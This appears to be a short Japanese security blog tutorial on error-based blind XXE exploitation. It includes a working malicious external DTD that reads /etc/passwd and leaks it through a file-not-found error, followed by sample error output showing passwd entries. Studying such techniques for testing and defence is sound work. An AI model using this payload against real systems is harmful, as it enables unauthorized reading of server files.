Shikata Ga Nai

Private? There is no such things.

ブラインド XXE の脆弱性を悪用してエラー メッセージを介してデータを取得

Hello there, ('ω')ノ


被害者のサーバから取得したい機密データを含むエラー メッセージを含む

XML 解析エラーを引き起こすことは、XXE 脆弱性を悪用するもう 1 つの

代替アプローチで。

サーバからの応答に含まれるエラー メッセージ

(サーバがエラー メッセージを返した場合)には、読み取りたいファイルの

内容に含まれるエラー メッセージが含まれる可能性があって。

 

以下のような外部の悪意のある DTD ファイルを使用すると、

/etc/passwd ファイルの内容を含むエラー メッセージをトリガできて。

 

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

 

DTD が順番に実行する手順は次のとおり。

 

XML パラメータ エンティティは、/etc/passwd ファイルの内容を含む

ファイル名で定義され。

eval という名前の別の XML パラメータエンティティ (error) の

動的通知の定義を含むエンティティが定義されていて。

error エンティティは、到達したいファイル名を含むファイルから

ロードしようとするが、そのファイルは存在せず。

 

存在しないファイルをロードしようとすることで、

error エンティティが呼び出され。

これにより、/etc/passwd ファイルの内容が、存在しないファイルの名前を

含むエラー メッセージとともに返され。

返される応答は次のようになり。

 

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

 

Best regards, (^^ゞ